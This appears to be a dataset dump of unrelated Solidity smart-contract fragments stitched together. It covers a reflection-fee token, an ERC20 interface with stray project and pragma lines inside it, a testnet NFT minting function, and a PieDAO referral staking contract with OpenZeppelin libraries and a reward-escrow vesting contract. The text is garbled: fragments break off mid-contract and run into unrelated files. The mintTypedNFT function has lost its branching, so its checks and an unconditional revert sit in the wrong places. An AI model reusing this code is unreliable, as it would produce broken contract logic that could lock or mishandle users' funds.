_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount, _isSelling(recipient));
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount, _isSelling(recipient));
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount, _isSelling(recipient));
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount, _isSelling(recipient));
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount, bool isSelling)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee,
isSelling
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 teamFee,
bool isSelling
)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 finalTax = isSelling ? taxFee.mul(_sellTaxMultiplier) : taxFee;
uint256 finalTeam = isSelling ? teamFee.mul(_sellTaxMultiplier) : teamFee;
uint256 tFee = tAmount.mul(finalTax).div(100);
uint256 tTeam = tAmount.mul(finalTeam).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns (uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns (uint256) {
return _maxTxAmount;
}
function _isSelling(address recipient) private view returns (bool) {
return recipient == uniswapV2Pair || _isUniswapPair[recipient];
}
function _getETHBalance() public view returns (uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner {
require(taxFee <= 5, 'taxFee should be in 0 - 5');
_taxFee = taxFee;
}
function _setTeamFee(uint256 teamFee) external onlyOwner {
require(teamFee <= 5, 'teamFee should be in 0 - 5');
_teamFee = teamFee;
}
function _setSellTaxMultiplier(uint8 mult) external onlyOwner {
require(mult >= 1 && mult <= 3, 'multiplier should be in 1 - 3');
_sellTaxMultiplier = mult;
}
function _setMCCWallet(address payable MCCWalletAddress) external onlyOwner {
_MCCWalletAddress = MCCWalletAddress;
}
function _setMarketingWallet(address payable marketingWalletAddress)
external
onlyOwner
{
_marketingWalletAddress = marketingWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner {
require(
maxTxAmount >= 100000000000000e9,
'maxTxAmount should be greater than 100000000000000e9'
);
_maxTxAmount = maxTxAmount;
}
function isUniswapPair(address _pair) external view returns (bool) {
if (_pair == uniswapV2Pair) return true;
return _isUniswapPair[_pair];
}
function addUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = true;
}
function removeUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = false;
}
function Airdrop(AirdropReceiver[] memory recipients) external onlyOwner {
for (uint256 _i = 0; _i < recipients.length; _i++) {
AirdropReceiver memory _user = recipients[_i];
transferFrom(msg.sender, _user.addy, _user.amount);
}
}
} | Interface of the ERC20 standard as defined in the EIP./ | interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
Multi-Chain Capital: $MCC
pragma solidity ^0.8.4;
}
| 5,967,327 |
./partial_match/4/0x3D15FA2B3914358110c93CEfD14B1AE5fBADB7C1/sources/QianNFT.sol | only for test now mint basic type 不可能溢出 mint kun nft | function mintTypedNFT(address user, uint256 typeId) public {
uint256 current = _tokenIds.current();
if (typeId < nftType) {
require(
typeCount[typeId] < basicMax,
"No more NFT of this type can be minted"
);
userToBasic[user].add(current);
userToBasicTypes[user][typeId].add(current);
basicNFTs[typeId].add(current);
typeCount[current]++;
require(kunNFT.length() < kunMax, "No more Kun NFT can be minted");
userToKun[msg.sender].add(current);
kunNFT.add(current);
require(
qianNFT.length() < qianMax,
"No more Qian NFT can be minted"
);
userToQian[msg.sender].add(current);
qianNFT.add(current);
revert("nonexist type");
}
nftIdToTypeId[current] = typeId;
_safeMint(user, current);
_tokenIds.increment();
}
| 8,553,090 |
pragma solidity ^0.5.0;
import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol";
contract IRewardDistributionRecipient is Ownable {
address public rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity 0.5.12;
import "@openzeppelin/contracts-ethereum-package/contracts/math/Math.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol";
import "./IRewardDistributionRecipient.sol";
import "./RewardEscrow.sol";
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// TODO setup pool for DeFi+S
IERC20 public uni;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
uni.safeTransferFrom(msg.sender, address(this), amount);
}
function stakeFor(uint256 amount, address beneficiary) public {
_totalSupply = _totalSupply.add(amount);
_balances[beneficiary] = _balances[beneficiary].add(amount);
uni.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
uni.safeTransfer(msg.sender, amount);
}
}
contract ReferralRewards is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public dough;
uint256 public constant DURATION = 7 days;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
RewardEscrow public rewardEscrow;
uint256 public escrowPercentage;
mapping(address => address) public referralOf;
// 1%
uint256 referralPercentage = 1 * 10 ** 16;
uint8 public constant decimals = 18;
string public name = "PieDAO staking contract DOUGH/ETH";
string public symbol = "PieDAO DOUGH/ETH Staking";
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event ReferralSet(address indexed user, address indexed referral);
event ReferralReward(address indexed user, address indexed referral, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 value);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function initialize(
address _dough,
address _uni,
address _rewardEscrow,
string memory _name,
string memory _symbol
) public initializer {
Ownable.initialize(msg.sender);
dough = IERC20(_dough);
uni = IERC20 (_uni);
rewardEscrow = RewardEscrow(_rewardEscrow);
name = _name;
symbol = _symbol;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Transfer(address(0), msg.sender, amount);
emit Staked(msg.sender, amount);
}
function stakeFor(uint256 amount, address beneficiary) public updateReward(beneficiary) {
require(amount > 0, "Cannot stake 0");
super.stakeFor(amount, beneficiary);
emit Transfer(address(0), msg.sender, amount);
emit Staked(beneficiary, amount);
}
function stake(uint256 amount, address referral) public {
stake(amount);
// Only set if referral is not set yet
if(referralOf[msg.sender] == address(0) && referral != msg.sender && referral != address(0)) {
referralOf[msg.sender] = referral;
emit ReferralSet(msg.sender, referral);
}
}
function withdraw(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
emit Transfer(msg.sender, address(0), amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
uint256 escrowedReward = reward.mul(escrowPercentage).div(10**18);
if(escrowedReward != 0) {
dough.safeTransfer(address(rewardEscrow), escrowedReward);
rewardEscrow.appendVestingEntry(msg.sender, escrowedReward);
}
uint256 nonEscrowedReward = reward.sub(escrowedReward);
if(nonEscrowedReward != 0) {
dough.safeTransfer(msg.sender, reward.sub(escrowedReward));
}
emit RewardPaid(msg.sender, reward);
}
if(referralOf[msg.sender] != address(0)) {
address referral = referralOf[msg.sender];
uint256 referralReward = reward.mul(referralPercentage).div(10**18);
rewards[referral] = rewards[referral].add(referralReward);
emit ReferralReward(msg.sender, referral, referralReward);
}
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
}
function setEscrowPercentage(uint256 _percentage) external onlyRewardDistribution {
require(_percentage <= 10**18, "100% escrow is the max");
escrowPercentage = _percentage;
}
function saveToken(address _token) external {
require(_token != address(dough) && _token != address(uni), "INVALID_TOKEN");
IERC20 token = IERC20(_token);
token.transfer(address(0x4efD8CEad66bb0fA64C8d53eBE65f31663199C6d), token.balanceOf(address(this)));
}
}
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.5.12;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/upgrades/contracts/Initializable.sol";
/**
* @title SharesTimelock interface
*/
interface ISharesTimeLock {
function depositByMonths(uint256 amount, uint256 months, address receiver) external;
}
/**
* @title DoughEscrow interface
*/
interface IDoughEscrow {
function balanceOf(address account) external view returns (uint);
function appendVestingEntry(address account, uint quantity) external;
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: RewardEscrow.sol
version: 1.0
author: Jackson Chan
Clinton Ennis
date: 2019-03-01
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
Escrows the DOUGH rewards from the inflationary supply awarded to
users for staking their DOUGH and maintaining the c-rationn target.
SNW rewards are escrowed for 1 year from the claim date and users
can call vest in 12 months time.
-----------------------------------------------------------------
*/
/**
* @title A contract to hold escrowed DOUGH and free them at given schedules.
*/
contract RewardEscrow is Ownable {
using SafeMath for uint;
using SafeERC20 for IERC20;
IERC20 public dough;
mapping(address => bool) public isRewardContract;
/* Lists of (timestamp, quantity) pairs per account, sorted in ascending time order.
* These are the times at which each given quantity of DOUGH vests. */
mapping(address => uint[2][]) public vestingSchedules;
/* An account's total escrowed dough balance to save recomputing this for fee extraction purposes. */
mapping(address => uint) public totalEscrowedAccountBalance;
/* An account's total vested reward dough. */
mapping(address => uint) public totalVestedAccountBalance;
/* The total remaining escrowed balance, for verifying the actual dough balance of this contract against. */
uint public totalEscrowedBalance;
uint constant TIME_INDEX = 0;
uint constant QUANTITY_INDEX = 1;
/* Limit vesting entries to disallow unbounded iteration over vesting schedules.
* There are 5 years of the supply scedule */
uint constant public MAX_VESTING_ENTRIES = 52*5;
uint8 public constant decimals = 18;
string public name;
string public symbol;
uint256 public constant STAKE_DURATION = 36;
ISharesTimeLock public sharesTimeLock;
/* ========== Initializer ========== */
function initialize (address _dough, string memory _name, string memory _symbol) public initializer
{
dough = IERC20(_dough);
name = _name;
symbol = _symbol;
Ownable.initialize(msg.sender);
}
/* ========== SETTERS ========== */
/**
* @notice set the dough contract address as we need to transfer DOUGH when the user vests
*/
function setDough(address _dough)
external
onlyOwner
{
dough = IERC20(_dough);
emit DoughUpdated(address(_dough));
}
/**
* @notice set the dough contract address as we need to transfer DOUGH when the user vests
*/
function setTimelock(address _timelock)
external
onlyOwner
{
sharesTimeLock = ISharesTimeLock(_timelock);
emit TimelockUpdated(address(_timelock));
}
/**
* @notice Add a whitelisted rewards contract
*/
function addRewardsContract(address _rewardContract) external onlyOwner {
isRewardContract[_rewardContract] = true;
emit RewardContractAdded(_rewardContract);
}
/**
* @notice Remove a whitelisted rewards contract
*/
function removeRewardsContract(address _rewardContract) external onlyOwner {
isRewardContract[_rewardContract] = false;
emit RewardContractRemoved(_rewardContract);
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice A simple alias to totalEscrowedAccountBalance: provides ERC20 balance integration.
*/
function balanceOf(address account)
public
view
returns (uint)
{
return totalEscrowedAccountBalance[account];
}
/**
* @notice A simple alias to totalEscrowedBalance: provides ERC20 totalSupply integration.
*/
function totalSupply() external view returns (uint256) {
return totalEscrowedBalance;
}
/**
* @notice The number of vesting dates in an account's schedule.
*/
function numVestingEntries(address account)
public
view
returns (uint)
{
return vestingSchedules[account].length;
}
/**
* @notice Get a particular schedule entry for an account.
* @return A pair of uints: (timestamp, dough quantity).
*/
function getVestingScheduleEntry(address account, uint index)
public
view
returns (uint[2] memory)
{
return vestingSchedules[account][index];
}
/**
* @notice Get the time at which a given schedule entry will vest.
*/
function getVestingTime(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[TIME_INDEX];
}
/**
* @notice Get the quantity of DOUGH associated with a given schedule entry.
*/
function getVestingQuantity(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[QUANTITY_INDEX];
}
/**
* @notice Obtain the index of the next schedule entry that will vest for a given user.
*/
function getNextVestingIndex(address account)
public
view
returns (uint)
{
uint len = numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
/**
* @notice Obtain the next schedule entry that will vest for a given user.
* @return A pair of uints: (timestamp, DOUGH quantity). */
function getNextVestingEntry(address account)
public
view
returns (uint[2] memory)
{
uint index = getNextVestingIndex(account);
if (index == numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
/**
* @notice Obtain the time at which the next schedule entry will vest for a given user.
*/
function getNextVestingTime(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[TIME_INDEX];
}
/**
* @notice Obtain the quantity which the next schedule entry will vest for a given user.
*/
function getNextVestingQuantity(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
/**
* @notice return the full vesting schedule entries vest for a given user.
*/
function checkAccountSchedule(address account)
public
view
returns (uint[520] memory)
{
uint[520] memory _result;
uint schedules = numVestingEntries(account);
for (uint i = 0; i < schedules; i++) {
uint[2] memory pair = getVestingScheduleEntry(account, i);
_result[i*2] = pair[0];
_result[i*2 + 1] = pair[1];
}
return _result;
}
